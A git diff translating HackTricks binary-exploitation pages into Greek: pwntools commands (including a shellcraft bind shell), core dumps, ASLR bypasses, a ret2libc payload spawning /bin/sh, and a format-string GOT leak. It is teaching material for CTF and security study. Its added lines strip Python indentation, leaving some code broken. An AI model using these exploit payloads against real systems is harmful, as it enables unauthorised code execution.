encoder debug shellcode using gdb run the output +- τύπος εξόδου (raw, hex, string, elf) +- περιεχόμενο αρχείου εξόδου (16, 32, 64, linux, windows...) +- αποφυγή byte (νέες γραμμές, null, μια λίστα) +- επιλέξτε encoder debug shellcode χρησιμοποιώντας gdb εκτελέστε την έξοδο ## **Pwn checksec** Checksec script - ``` pwn checksec ``` - ## Pwn constgrep ## Pwn cyclic -Get a pattern - +Πάρε ένα μοτίβο ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Μπορεί να επιλέξει:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- Το χρησιμοποιούμενο αλφάβητο (χαμηλά γράμματα από προεπιλογή) +- Μήκος μοναδικού μοτίβου (προεπιλογή 4) +- συμφραζόμενα (16,32,64,linux,windows...) +- Πάρτε την απόκλιση (-l) ## Pwn debug -Attach GDB to a process - +Συνδέστε το GDB σε μια διαδικασία ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Μπορεί να επιλεγεί:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Με βάση το εκτελέσιμο, το όνομα ή το pid context (16,32,64,linux,windows...) +- gdbscript προς εκτέλεση - sysrootpath ## Pwn disablenx -Disable nx of a binary - +Απενεργοποίηση nx ενός δυαδικού αρχείου ``` pwn disablenx ``` - ## Pwn disasm -Disas hex opcodes - +Αποσυναρμολόγηση hex opcodes ``` pwn disasm ffe4 ``` +**Μπορεί να επιλέξει:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- συμφραζόμενα (16,32,64,linux,windows...) +- βάση διεύθυνση +- χρώμα (προεπιλογή)/χωρίς χρώμα ## Pwn elfdiff -Print differences between 2 files - +Εκτυπώνει τις διαφορές μεταξύ 2 αρχείων ``` pwn elfdiff ``` - ## Pwn hex -Get hexadecimal representation - +Λάβετε την εξαγωγή σε δεκαεξαδική μορφή ```bash pwn hex hola #Get hex of "hola" ascii ``` - ## Pwn phd -Get hexdump - +Πάρε hexdump ``` pwn phd ``` +**Μπορεί να επιλέξει:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Αριθμός byte προς εμφάνιση +- Αριθμός byte ανά γραμμή highlight byte +- Παράλειψη byte στην αρχή ## Pwn pwnstrip @@ -122,8 +102,7 @@ pwn phd ## Pwn shellcraft -Get shellcodes - +Αποκτήστε shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Μπορεί να επιλέξει:** -**Can select:** +- shellcode και παραμέτρους για το shellcode +- Έξοδος αρχείου +- μορφή εξόδου +- αποσφαλμάτωση (σύνδεση dbg με το shellcode) +- πριν (παγίδα αποσφαλμάτωσης πριν από τον κώδικα) +- μετά +- αποφυγή χρήσης opcodes (προεπιλογή: όχι null και νέα γραμμή) +- Εκτέλεση του shellcode +- Χρώμα/χωρίς χρώμα +- λίστα syscalls +- λίστα πιθανών shellcodes +- Δημιουργία ELF ως κοινή βιβλιοθήκη -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -## Pwn template - -Get a python template +## Πρότυπο Pwn +Πάρτε ένα πρότυπο python ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Μπορεί να επιλέξει:** host, port, user, pass, path και quiet ## Pwn unhex -From hex to string - +Από hex σε string ``` pwn unhex 686f6c61 ``` +## Pwn ενημέρωση -## Pwn update - -To update pwntools - +Για να ενημερώσετε το pwntools ``` pwn update ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md index 47681ba71..d1bc9dc7c 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,35 +1,29 @@ -# Common Binary Exploitation Protections & Bypasses +# Κοινές Προστασίες & Παράκαμψεις Δυαδικής Εκμετάλλευσης {{#include ../../banners/hacktricks-training.md}} -## Enable Core files +## Ενεργοποίηση Αρχείων Core -**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. +**Αρχεία Core** είναι ένας τύπος αρχείου που δημιουργείται από ένα λειτουργικό σύστημα όταν μια διαδικασία καταρρέει. Αυτά τα αρχεία καταγράφουν την εικόνα μνήμης της κατεστραμμένης διαδικασίας τη στιγμή της τερματισμού της, συμπεριλαμβανομένης της μνήμης της διαδικασίας, των καταχωρητών και της κατάστασης του μετρητή προγράμματος, μεταξύ άλλων λεπτομερειών. Αυτή η στιγμιότυπη εικόνα μπορεί να είναι εξαιρετικά πολύτιμη για την αποσφαλμάτωση και την κατανόηση του λόγου που συνέβη η κατάρρευση. -### **Enabling Core Dump Generation** +### **Ενεργοποίηση Δημιουργίας Core Dump** -By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. - -- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions. +Από προεπιλογή, πολλά συστήματα περιορίζουν το μέγεθος των αρχείων core σε 0 (δηλαδή, δεν δημιουργούν αρχεία core) για να εξοικονομήσουν χώρο στο δίσκο. Για να ενεργοποιήσετε τη δημιουργία αρχείων core, μπορείτε να χρησιμοποιήσετε την εντολή **`ulimit`** (σε bash ή παρόμοιες θήκες) ή να ρυθμίσετε ρυθμίσεις σε επίπεδο συστήματος. +- **Χρησιμοποιώντας ulimit**: Η εντολή `ulimit -c unlimited` επιτρέπει στην τρέχουσα συνεδρία θήκης να δημιουργεί αρχεία core απεριόριστου μεγέθους. Αυτό είναι χρήσιμο για συνεδρίες αποσφαλμάτωσης αλλά δεν είναι μόνιμο κατά την επανεκκίνηση ή σε νέες συνεδρίες. ```bash ulimit -c unlimited ``` - -- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions. - +- **Μόνιμη Διαμόρφωση**: Για μια πιο μόνιμη λύση, μπορείτε να επεξεργαστείτε το αρχείο `/etc/security/limits.conf` για να συμπεριλάβετε μια γραμμή όπως `* soft core unlimited`, η οποία επιτρέπει σε όλους τους χρήστες να δημιουργούν αρχεία core απεριόριστου μεγέθους χωρίς να χρειάζεται να ορίσουν το ulimit χειροκίνητα στις συνεδρίες τους. ```markdown - soft core unlimited ``` +### **Ανάλυση Αρχείων Core με GDB** -### **Analyzing Core Files with GDB** - -To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with: - +Για να αναλύσετε ένα αρχείο core, μπορείτε να χρησιμοποιήσετε εργαλεία αποσφαλμάτωσης όπως το GDB (GNU Debugger). Υποθέτοντας ότι έχετε ένα εκτελέσιμο που παρήγαγε μια απόθεση core και το αρχείο core ονομάζεται `core_file`, μπορείτε να ξεκινήσετε την ανάλυση με: ```bash gdb /path/to/executable /path/to/core_file ``` - -This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. +Αυτή η εντολή φορτώνει το εκτελέσιμο και το core αρχείο στο GDB, επιτρέποντάς σας να εξετάσετε την κατάσταση του προγράμματος τη στιγμή της κατάρρευσης. Μπορείτε να χρησιμοποιήσετε τις εντολές GDB για να εξερευνήσετε τη στοίβα, να εξετάσετε μεταβλητές και να κατανοήσετε την αιτία της κατάρρευσης. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index e33c7a3be..0fd9d802f 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -4,105 +4,90 @@ ## Basic Information -**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. +**Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαίνει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης. ### **Checking ASLR Status** -To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: +Για να **ελέγξετε** την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το **`/proc/sys/kernel/randomize_va_space`** αρχείο. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται: -- **0**: No randomization. Everything is static. -- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. -- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - -You can check the ASLR status with the following command: +- **0**: Καμία τυχαία διάταξη. Όλα είναι στατικά. +- **1**: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαίες. +- **2**: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαίνουν από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του `brk()` είναι τυχαία. +Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή: ```bash cat /proc/sys/kernel/randomize_va_space ``` +### **Απενεργοποίηση ASLR** -### **Disabling ASLR** - -To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it: - +Για να **απενεργοποιήσετε** το ASLR, ορίστε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για την απενεργοποίησή του: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` - -You can also disable ASLR for an execution with: - +Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` +### **Ενεργοποίηση ASLR** -### **Enabling ASLR** - -To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command: - +Για να **ενεργοποιήσετε** το ASLR, μπορείτε να γράψετε μια τιμή **2** στο αρχείο `/proc/sys/kernel/randomize_va_space`. Αυτό συνήθως απαιτεί δικαιώματα root. Η πλήρης τυχαία κατανομή μπορεί να γίνει με την ακόλουθη εντολή: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### **Επιμονή Μεταξύ Επανεκκινήσεων** -### **Persistence Across Reboots** - -Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line: - +Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναρυθμιστούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` - -After editing `/etc/sysctl.conf`, apply the changes with: - +Μετά την επεξεργασία του `/etc/sysctl.conf`, εφαρμόστε τις αλλαγές με: ```bash sudo sysctl -p ``` +Αυτό θα διασφαλίσει ότι οι ρυθμίσεις ASLR σας παραμένουν κατά τη διάρκεια των επανεκκινήσεων. -This will ensure that your ASLR settings remain across reboots. - -## **Bypasses** +## **Παρακάμψεις** ### 32bit brute-forcing -PaX divides the process address space into **3 groups**: +Το PaX χωρίζει τον χώρο διευθύνσεων της διαδικασίας σε **3 ομάδες**: -- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. -- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. -- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. +- **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπίας στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διαδικασία και προστίθεται στις αρχικές διευθύνσεις. +- **Μνήμη** που έχει κατανεμηθεί από το `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, ονομάζεται `delta_mmap`. +- **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί αποτελεσματικά **11 bits** (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε **16 bytes** —> Αυτό έχει ως αποτέλεσμα **524,288 δυνατές πραγματικές διευθύνσεις στοίβας**. -The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. +Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR δοκιμάζοντας την εκτέλεση ξανά και ξανά μέχρι να ολοκληρωθεί επιτυχώς η εκμετάλλευση. -#### Brute-force ideas: - -- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**. - - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**. -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +#### Ιδέες brute-force: +- Αν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσετε μια **μεγάλη NOP sled πριν από το shellcode**, μπορείτε απλά να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή **να πηδήξει πάνω από κάποιο μέρος της NOP sled**. +- Μια άλλη επιλογή για αυτό σε περίπτωση που η υπερχείλιση δεν είναι τόσο μεγάλη και η εκμετάλλευση μπορεί να εκτελείται τοπικά είναι να **προσθέσετε την NOP sled και το shellcode σε μια μεταβλητή περιβάλλοντος**. +- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης. > [!TIP] -> In 64bit systems the entropy is much higher and this shouldn't possible. +> Σε συστήματα 64bit η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα έπρεπε να είναι δυνατό. ### 64 bits stack brute-forcing -It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\ -The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**: - +Είναι δυνατόν να καταλάβετε ένα μεγάλο μέρος της στοίβας με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό εκατοντάδες/χίλιες φορές τοπικά.\ +Ο παρακάτω κώδικας δείχνει πώς είναι δυνατόν να **επιλέξετε απλώς μια διεύθυνση στη στοίβα** και κάθε **μερικές εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **εντολή NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { - unsigned long long address = 0xffffff1e7e38; - unsigned int* ptr = (unsigned int*)address; - unsigned int value = *ptr; - printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); - return 0; +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; } ``` @@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { - 'a': shellcode_env_var, - 'b': shellcode_env_var, - 'c': shellcode_env_var, - 'd': shellcode_env_var, - 'e': shellcode_env_var, - 'f': shellcode_env_var, - 'g': shellcode_env_var, - 'h': shellcode_env_var, - 'i': shellcode_env_var, - 'j': shellcode_env_var, - 'k': shellcode_env_var, - 'l': shellcode_env_var, - 'm': shellcode_env_var, - 'n': shellcode_env_var, - 'o': shellcode_env_var, - 'p': shellcode_env_var, +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, } cont = 0 while True: - cont += 1 +cont += 1 - if cont % 10000 == 0: - break +if cont % 10000 == 0: +break - print(cont, end="\r") - # Define the path to your binary - binary_path = './aslr-testing' +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' - try: - process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) - output = process.communicate()[0] - if "0xd5" in str(output): - print(str(cont) + " -> " + output) - except Exception as e: - print(e) - print(traceback.format_exc()) - pass +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass ``` -
-### Local Information (`/proc/[pid]/stat`) +### Τοπικές Πληροφορίες (`/proc/[pid]/stat`) -The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: +Το αρχείο **`/proc/[pid]/stat`** μιας διαδικασίας είναι πάντα αναγνώσιμο από όλους και **περιέχει ενδιαφέρουσες** πληροφορίες όπως: -- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary -- **startstack**: The address of the start of the **stack** -- **start_data** & **end_data**: Addresses above and below where the **BSS** is -- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses -- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. -- **env_start** &**env_end**: Addresses above and below where **env variables** are. +- **startcode** & **endcode**: Διευθύνσεις πάνω και κάτω με το **TEXT** του δυαδικού +- **startstack**: Η διεύθυνση της αρχής της **στοίβας** +- **start_data** & **end_data**: Διευθύνσεις πάνω και κάτω όπου είναι το **BSS** +- **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP** +- **arg_start** & **arg_end**: Διευθύνσεις πάνω και κάτω όπου είναι τα **cli arguments**. +- **env_start** &**env_end**: Διευθύνσεις πάνω και κάτω όπου είναι οι **env variables**. -Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. +Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ακατέργαστους παραμέτρους, αλλά από μια διαφορετική **είσοδο που μπορεί να κατασκευαστεί μετά την ανάγνωση αυτού του αρχείου**. Είναι δυνατόν για έναν επιτιθέμενο να **πάρε κάποια διευθύνσεις από αυτό το αρχείο και να κατασκευάσει offsets από αυτές για την εκμετάλλευση**. > [!TIP] -> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` +> Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο, ελέγξτε [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat` -### Having a leak +### Έχοντας μια διαρροή -- **The challenge is giving a leak** - -If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details): +- **Η πρόκληση είναι να δώσετε μια διαρροή** +Αν σας δοθεί μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε offsets από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το παράδειγμα εκμετάλλευσης είναι αποσπασμένο από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτή τη σελίδα για περισσότερες λεπτομέρειες): ```python from pwn import * @@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - 0x0, # return address - next(libc.search(b'/bin/sh')) +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - - **ret2plt** -Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: +Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα **ret2plt** για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγχος: {{#ref}} ret2plt.md @@ -216,8 +198,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): - +Ακριβώς όπως στο ret2plt, αν έχετε μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας **libc function** από το GOT. Το παρακάτω [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` - -You can find more info about Format Strings arbitrary read in: +Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την τυχαία ανάγνωση Format Strings στο: {{#ref}} ../../format-strings/ @@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in: ### Ret2ret & Ret2pop -Try to bypass ASLR abusing addresses inside the stack: +Δοκιμάστε να παρακάμψετε το ASLR εκμεταλλευόμενοι διευθύνσεις μέσα στη στοίβα: {{#ref}} ret2ret.md @@ -245,13 +225,12 @@ ret2ret.md ### vsyscall -The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ -However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) +Ο μηχανισμός **`vsyscall`** εξυπηρετεί στην ενίσχυση της απόδοσης επιτρέποντας σε ορισμένες κλήσεις συστήματος να εκτελούνται σε χώρο χρήστη, αν και είναι θεμελιωδώς μέρος του πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** έγκειται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διευθύνσεων). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν απαιτούν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\ +Ωστόσο, δεν θα βρείτε εδώ πολύ ενδιαφέροντα gadgets (αν και για παράδειγμα είναι δυνατό να αποκτήσετε ένα ισοδύναμο `ret;`) -(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) - -For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit. +(Το παρακάτω παράδειγμα και ο κώδικας είναι [**από αυτή τη γραφή**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) +Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια άμεσης μετάβασης σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κρα crashes μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα gadget **ROP** που οδηγεί την εκτέλεση σε αυτή τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει εκτέλεση κώδικα χωρίς να χρειάζεται να παρακάμψει το **ASLR** για αυτό το μέρος της εκμετάλλευσης. ``` ef➤ vmmap Start End Offset Perm Path @@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 ``` - ### vDSO -Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: +Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα τυχαίνει τυχαίας κατανομής. Για περισσότερες πληροφορίες ελέγξτε: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index c0e55129b..fb40159b2 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -4,38 +4,35 @@ ## Basic Information -The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. - -This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): +Ο στόχος αυτής της τεχνικής είναι να **διαρρεύσει μια διεύθυνση από μια συνάρτηση από το PLT** για να μπορέσει να παρακαμφθεί το ASLR. Αυτό συμβαίνει επειδή, αν, για 